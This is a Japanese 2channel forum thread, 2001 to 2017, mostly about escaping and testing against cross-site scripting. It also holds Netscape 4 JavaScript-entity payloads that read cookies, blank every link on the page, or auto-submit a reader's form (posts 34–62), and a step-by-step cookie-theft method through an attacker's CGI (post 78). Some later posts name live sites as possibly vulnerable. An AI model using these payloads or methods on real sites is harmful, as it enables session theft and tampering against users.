2ちゃんねる★スマホ版★■掲示板に戻る■全部1-最新50

クロスサイトスクリプティング対策

1 :
名無しさん@お腹いっぱい。
01/10/27 10:37 ID:AENF9z2S
http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf

簡単にいって、フォームの入力をサーバサイドで処理してHTMLと
して出力する時に、文字のエスケープを適切に行わないと、
Cookieを取得するJavaScriptを埋め込み&出力結果を別サイトに
リダイレクトする、というような方法を使ってCookieを第三者に
盗まれる可能性がある、ということです。

上の資料を参考にしながら、
それぞれの処理系における、どのようの文字列エスケープを行うべきか、
といったサーバサイドの対策に関する情報を交換していきたいと思います。
2 :
名無しさん@お腹いっぱい。
01/10/27 11:07 ID:AENF9z2S
とりあえずは、Perlの場合で、BBSやチャットだと、
一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう
のが手っ取り早いと思います。
3 :
名無しさん@お腹いっぱい。
01/10/28 03:25 ID:ZO04qCcD
セキュリティ板に載ってました、クロスサイトスクリプティング脆弱性の
最近の具体例が。
http://memo.st.ryukoku.ac.jp/archive/200110.month/index.html
のArticle 1756。見ればわかりますがHTMLタグのエスケープ処理を
忘れてるものと思われます。<SCRIPT>タグなんか埋め込まれた日には
色々悪さされそうです。
4 :
名無しさん@お腹いっぱい。
01/11/02 23:53 ID:bu2IICno
本気で対策したい人たちが読むことを期待して。
少なくともFORMから入力されたパラメタは、全て読み込んだ時点で
実体参照に置換してしまう(汚染チェックも行う)。
s/&/&/g
s/</</g
s/>/>/g
s/"/"/g
URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、
元の文字列でなければ困るところだけ、一時的に元に戻すようにする。
s/</</g
s/>/>/g
s/"/"/g
s/&/&/g
(上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。
面倒なんでその場合はページのソースを見てください)
必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので
どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる
ことを考えれば、これくらい徹底した方がいいのでは?
5 :
名無しさん@お腹いっぱい。
01/11/03 00:20 ID:zLquoryW
男は黙って tr/\W//d
6 :
01/11/03 00:48 ID:???
s/&/&amp;/g
s/</&lt;/g
s/>/&gt;/g
s/"/&quot;"/g
だ。下のは
s/&amp;/&/g
s/&lt;/</g
s/&gt;/>/g
s/&quot;"/"/g
ふー…ちゃんと&と"も置換してよ。
7 :
01/11/03 00:52 ID:???
age
8 :
01/11/03 17:57 ID:???
age
9 :
01/11/03 19:10 ID:???
&をエスケープしないのはヤバーイよ!
ネスケ4で見てね。
10 :
9
01/11/03 19:17 ID:???
つづく
11 :
01/11/03 19:17 ID:???
こんなことも(;´Д`)
12 :
10
01/11/03 19:24 ID:???
シパーイシターヨ
13 :
01/11/03 19:25 ID:???
これでどーよ、ネスケ4
14 :
01/11/04 14:11 ID:???
神が降臨シテルヨ
15 :
01/11/05 23:36 ID:???
ネスケで見てる人はあまりいなかったのかage
16 :
名無しさん@お腹いっぱい。
01/11/05 23:40 ID:gvBrmPxu
真の神は、やっぱりMSのPassportでしょ。

http://www.zdnet.co.jp/news/0111/05/e_wallet.html
17 :
01/11/06 01:05 ID:???
神はみんなに平等にcookieを読む権利を与えたのだ
18 :
01/11/06 01:28 ID:???
パンが無ければCookieを食べればいいじゃない。
19 :
01/11/06 13:33 ID:hz5ky/YY
くそ・・・ネスケ4で見たら落ちたよ(涙)
20 :
01/11/06 15:28 ID:???
>>13
そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?
21 :
名無しさん@お腹いっぱい。
01/11/06 16:19 ID:8Is73jkR
>>20
これとか:
http://www.securityfocus.com/archive/1/50782
この著者は先日MicrosoftのPassportの問題を指摘した人物。
Apache Softoware Foundationのメンバーで、1.3.11の同脆弱性を直した人。
22 :
名無しさん@お腹いっぱい。
01/11/09 00:12 ID:ShSwDwY3
いや明日仕事で、うちの会社で開発したwebサービスの
クロスサイトスクリプティング対策をやんなきゃいけなくって、
できる限りヤバーイのを発見しないといけないんだけどさー、
どうするのがいいかねぇ。
23 :
01/11/09 00:42 ID:???
>>21
英語か:-(
誰か和訳してくれないものかな。
24 :
名無しさん@お腹いっぱい。
01/11/09 21:56 ID:QF/0zNjv
>22
まず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。
例えば"====================="とか。
そして、フォームの全てのパラメタに"**************************************************"とかの
目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。
※hiddenフィールドもチェックしないとね

ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。
URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない
生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。
25 :
名無しさん@お腹いっぱい。
01/11/09 21:57 ID:QF/0zNjv
後は全エラー画面をチェックしないといけないが、これは画面よリソースをチェックした方が早いだろうなぁ。
26 :
01/11/09 23:25 ID:???
PHP 使ってますが。
フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど
すべて strip_tags() してますが、安全でしょうか?
27 :
名無しさん@お腹いっぱい。
01/11/10 00:07 ID:9tmYIcvX
たぶん。としかいえんなぁ。変換関数が組み込みのものだと24に書いたみたいなテスト方法は駄目だね。
要はそれを忘れてないかどうかが問題なので。
環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、
この問題に対してはほぼ安全と思う。
28 :
01/11/10 00:58 ID:???
>>27
とりあえずhiddenを含め全部やってるはずなので、一応安心しておきます。
29 :
01/11/12 16:46 ID:???
セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/ の
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ

http://www.solutions.fi/index.cgi/extra_iebug?lang=eng
でamazon.co.jpを読むと(事前にamazon.co.jpのcookieを取り込んである)
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい(Y)を選択する。
こんなダイアログ−http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/ie6-script-dialog.png
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。
30 :
01/11/12 17:13 ID:???
>>29
IE5.5とIE6しか再現しないそうだ
31 :
01/11/12 18:24 ID:???
IEは5.01SP2です。
http://www.microsoft.com/japan/technet/security/frame_prekb.asp?sec_cd=MS01-055
によると、
テストしたバージョン :
マイクロソフトは Internet Explorer 5.5 SP2 および 6 のテストを行い、これらの脆弱性による影響を評価しました。それ以前のバージョンに関してはサポート (英語情報) の対象となっていないため、この脆弱性による影響は不明です。
とのこと。
ということは、5.01でも危険ということだろうか。
32 :
01/11/26 07:56 ID:???
age
33 :
名無しさん@お腹いっぱい。
01/12/17 07:29 ID:BojNQSph
age
34 :
テスト
01/12/19 07:01 ID:RLJpoDQa
http://pc.2ch.net/&{document.write(document.cookie)};
35 :
01/12/19 07:06 ID:???
http://pc.2ch.net/&{document.cookie};
36 :
02/01/12 14:08 ID:???
age
37 :
 
02/01/26 08:50 ID:SUrQysHb
a
38 :
02/01/26 11:51 ID:???
こんなのmail欄に入れたらどうなるんだろう?
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
39 :
02/01/26 13:20 ID:???
>38
自分でやってみてよ(笑)
40 :
02/01/26 13:47 ID:???
メール欄が長すぎます・・・だって(笑)

&{for(var i=0;document.links[i];i++)document.links[i].href='';};
これは大丈夫やった。
41 :
02/01/26 14:05 ID:???
>40
どこでやってきたの?(笑)
42 :
02/01/26 17:32 ID:???
>>41
色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?
43 :
02/01/26 22:09 ID:???
age
44 :
02/01/26 22:19 ID:???
age
45 :
02/01/27 10:13 ID:???
>>42
ひいい・・・・2ちゃんで窓が出たよう・・・。
46 :
02/01/27 10:17 ID:???
>45
(笑)
47 :
02/01/27 23:08 ID:???
>>40
分割すればいいみたい。>>12>>13
48 :
02/02/06 03:45 ID:???
テスト
49 :
名無しさん@お腹いっぱい。
02/02/06 03:46 ID:dMmdiZ7p
大手検索サイトに見るクロスサイトスクリプティングの脆弱性の実態(2002.2.4)
https://www.netsecurity.ne.jp/article/1/3860.html
50 :
02/02/08 00:23 ID:???
51 :
02/02/08 00:28 ID:???
52 :
02/02/08 13:44 ID:???
>日本でもWebサイトに関する最初のインシデントとして記録されているのは、1997年に総務省の掲示板にタグ
>が書き込まれ、その掲示板を閲覧しようすると、オウム真理教の音楽が外部サイトから読み込まれて鳴るよう
>になったという事件であり、このようにクロスサイトスクリプティングの脆弱性は古くから存在する問題である。

タグ可の掲示板はみんな着尺製ありだな
http://pc.2ch.net/test/read.cgi/sec/1008926076/l10
53 :
02/02/09 01:21 ID:???
F=Function;fs=document.forms;

l0=new F('f=fs[fs.length-1]');
l1=new F('es=f.elements;');
l2=new F('a=es[0];b=es[2];');
l3=new F('c=es[3];d=es[4];');
l4=new F('a.value=navigator.userAgent;');
l5=new F('b.value=\'fusianasan\';');
l6=new F('c.value=\'\';');
l7=new F('d.value=\' \';');

l8=new F('es[1].click();');

lx=new F('l0();l1();l2();l3();');
ly=new F('l4();l5();l6();l7();');
lz=new F('l8();');

l=new F('lx();ly();lz();');window.onload=l;
54 :
02/02/12 11:32 ID:???
>>52
>着尺製

読めない…。
55 :
02/02/12 11:44 ID:???
>>54
> >着尺製
「脆弱性」の (2ch的?) 誤読だと思われ。

正しくは「もろよわせい」と読むらしい。
56 :
02/02/12 12:06 ID:???
57 :
02/02/12 22:55 ID:???
>>22
で、22はお腹いっぱいヤバゲなの見つかったのかな?
SSLなページの確認はメンドーでないかい? >all
アホプログラマーの重箱の隅つつくのも疲れてきたぞ。(藁
58 :
02/02/19 00:17 ID:???
> SSLなページの確認はメンドーでないかい?

なぜに?
59 :
02/02/19 01:53 ID:???
漏れがバカだから。とりあえずパケットキャプチャーしてどんな内容送ってるのか見ようと思うんだけど。
IEなんかのクライアントで見て、値が固定されてるもののテストってどうしてますか?
例えば買い物の個数とかサーバ側でエスケープ処理してるか確認したい訳で。
POSTメソッドの値を色々試すのに良いツールってないですかねぇ。HTMLエディタで書き換える?
60 :
02/02/19 02:02 ID:???
http://www.mountsystem.ne.jp/
ここのTantanCGI
61 :
02/02/19 07:49 ID:???
>>60
すっ、すばらしい...。ありがとう御座います。感謝感激!
これでもっと重箱の隅つっけそうです。(藁
62 :
a
02/06/27 00:50 ID:awVCb82d
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
63 :
02/12/06 16:58 ID:???
ここで配布してるスクリプトも脆弱性の問題あり?

http://www.onpuch.jp/files/onpuch.zip
64 :
nobodyさん
03/01/10 01:43 ID:QhQLqNIU
Struts使おう。
65 :
03/01/16 03:36 ID:???
(^^)
66 :
奥さん ◆mL2ZRk1cK.
03/01/18 07:27 ID:AxdRMTC9
d
67 :
奥さん ◆0Z6Yhsb88E
03/01/18 07:27 ID:AxdRMTC9
aq
68 :
奥さん ◆E39m/9K3xY
03/01/18 07:28 ID:AxdRMTC9
qwe
69 :
奥さん ◆8WgvSovIKg
03/01/18 07:28 ID:AxdRMTC9
qwer
70 :
奥さん ◆ABM5odHy/Q
03/01/18 07:29 ID:AxdRMTC9
12345
71 :
奥さん ◆bc.v5kgifQ
03/01/18 07:30 ID:AxdRMTC9
hfjfjf
72 :
奥さん ◆IGEMrmvKLI
03/01/18 07:31 ID:AxdRMTC9
vbncnnb
73 :
奥さん ◆tsGpSwX8mo
03/01/18 07:31 ID:AxdRMTC9
hhhhhhhh
74 :
奥さん ◆Mjk4PcAe16
03/01/18 07:32 ID:AxdRMTC9
fhfhfhfhfh
75 :
03/01/19 15:22 ID:???
荒らされてる
76 :
03/01/19 15:58 ID:???
XSS対策のひとつとして、「エスケープ処理」がある。
これはCGIが扱うパラメータが多くなってくると、ついつい忘れてしまう煩雑で面倒な処理だが、
もしあなたがPerlユーザなら、HTML::Templateを使うことによってエスケープを
テンプレート側に記述し、プログラム側から完全に追い出してしまうことができる。

<input type="hidden" value="<tmpl var="aniti_xss_value" escape="url">">
<input type="text" value="<tmpl var="aniti_xss_text" escape="html">">

最後のescape属性に注目だ。これを指定してやるだけで、
テンプレートにセットした変数は適切にエスケープされるようになる。
もう、escape関数を呼びまくる必要はないんだ!ひゃっほう!

ps.この情報がXSS対策に頭を悩ますCGI製作者の助けになることを祈ってるよ。
77 :
03/01/19 16:01 ID:???
ヽ(゚∀゚)ノヒャホー
78 :
nobodyさん
03/01/21 19:45 ID:eVlnRoM0
対策ではなくクキー盗む方法なのだが。
JBBSなどレンタル系の掲示板で使える。(htmlにログを表示して、javascriptでクッキーを読み出すもの)
レンタル系の掲示板は、自分が書き込んだ掲示板以外の板にもクッキーが適応されるところが多い。
(たとえば、http://jbbs.shitaraba.com/business/1/に書き込むとhttp://jbbs.shitaraba.com/business/2/の板にも適応される。)
これを利用して、自分の掲示板に書き込まれなくてもクッキーに入っているデータを取得できる。

具体的方法として
1.GET(QUERY_STRING)からのデータをテキストに保存するCGIを作成し、適当なフリーサーバに設置
2.ターゲットと同じレンタルBBSを借りる。
3.HTMLクッキー取得部分を調べてjavascriptで1のCGIに渡す。
4.ターゲットの掲示板にそれらしい理由を付けてカキコ
79 :
nobodyさん
03/01/21 23:40 ID:ByrQNqOs
クッキーのpathを / とかにしてるんだろうね。
名前が漏れるくらいはなんでもないけど
トリップやキャップもクッキーに入ってるとなりすましが出来ると。
80 :
03/01/26 15:26 ID:???
XSS 脆弱性で Basic 認証のパスワードも盗まれるらしいぞ
http://memo.st.ryukoku.ac.jp/archive/200301.month/5237.html
(((;゚Д゚))ガクガクブルブル
81 :
nobodyさん
03/01/28 20:54 ID:wWZkstRp
>>80
ウゲ
でも
> サーバのTRACEメソッドが機能している場合
ってどういう場合なの?
82 :
03/04/17 12:26 ID:???
(^^)
83 :
03/04/20 06:06 ID:???
   ∧_∧
  (  ^^ )< ぬるぽ(^^)
84 :
03/05/11 20:11 ID:???
TRACE / HTTP/1.1
Host: localhost
Authorization: Basic

HTTP/1.1 200 OK
Date: Sun, 11 May 2003 11:07:46 GMT
Server: Apache/1.3.27
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Authorization: Basic lG+/r4+/j6+/64FgKHc=
Host: localhost


0

(((;゚Д゚))ガクガクブルブル
85 :
03/05/22 02:10 ID:???
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―
86 :
03/05/28 17:16 ID:???
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉
87 :
03/07/15 11:18 ID:???

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄
88 :
03/08/02 02:34 ID:???
   ∧_∧
  (  ^^ )< ぬるぽ(^^)
89 :
03/08/02 05:12 ID:???
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ
90 :
03/08/15 23:09 ID:???
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン
91 :
nobodyさん
03/08/28 13:53 ID:5epBRgUL
2chにはもうXSS使える穴は無い?
92 :
03/08/29 01:04 ID:???
半角で穴見つかったのが最後かな?
93 :
03/08/29 14:52 ID:???
そうか…
XSS使えばフレームでの別ドメインの制限が回避出来るんだけどなー…
94 :
nobodyさん
03/12/27 14:03 ID:6Fk7/T/f
XSSをさらすスレはここですか?
95 :
2005/11/20(日) 11:58:56 ID:???
ttp://www.creators-fukuoka.com/
クロスサイトスクリプティング出来る?
96 :
2006/08/07(月) 13:26:57 ID:???
保守
97 :
2006/09/28(木) 06:10:16 ID:???
98 :
nobodyさん
2008/05/08(木) 19:41:05 ID:CmE1kuyM
age
99 :
2008/08/22(金) 19:39:26 ID:???
ttp://youtube2.in/

<
>
"

あたりエスケープできてなくね。
100 :
2008/08/22(金) 19:40:33 ID:???
age
101 :
2011/05/19(木) 08:58:32.38 ID:???
tes
102 :
nobodyさん
2011/05/22(日) 16:35:47.30 ID:riL4CCVW
            _
        r-、' ´   `ヽr-、
       ィ7 /l: ハヽハ トヾ    駄スレを隠すことは、この俺が許さん!
        '|l |'´_` ´_ `| ||    信念に基づいて行動する。
        | |´ヒ}   ヒ}`! l|   それを人は正義と言う。
   __ノ゙). 从 l,  _'_.  |从   今俺が行ってることは、上げ荒らしではない。
 ,_'(_ ノ_ヽ ヾl.> - ,イ;リ    正義という名の粛清だぁ!
 { f:テ} {'f:テ}',/\ヽ--//ヽ    
 ヽ,r─‐ 、ィ .、、 i l>Y<! i '、    バーニング!
 / iゝ_ノ iヽ /l   |l  l   ',
 lンヽ/ムノじ
103 :
2012/10/19(金) 02:23:34.33 ID:???
あげ
104 :
nobodyさん
2012/10/19(金) 02:24:29.53 ID:F/2XWufo
あげそこなった
105 :
2014/09/28(日) 22:47:51.94 ID:???
  ∧_∧
  ( ・∀・)      | | ガガッ
 と    )      | |
   Y /ノ      .人
    / ) .人   <  >_∧∩
  _/し' <  >_∧∩`Д´)/
 (_フ彡 V`Д´)/   / ←>>88
            / ←>>83
106 :
nobodyさん
2015/11/04(水) 19:17:29.07 ID:gcyCvqHq
転職時の注意事項。
下記の条件が全て当てはまる会社にご注意下さい。

・IT系 in Tokyo
・転職会議で2.5点
・転職会議の「その他>2ch情報」の欄で過去の労基2chスレが表示される
107 :
nobodyさん
2017/01/21(土) 19:02:09.87 ID:iuL6ICc7
ぬるぽ
27KB

新着レスの表示

★スマホ版★■掲示板に戻る■全部前100次100最新50

名前:E-mail: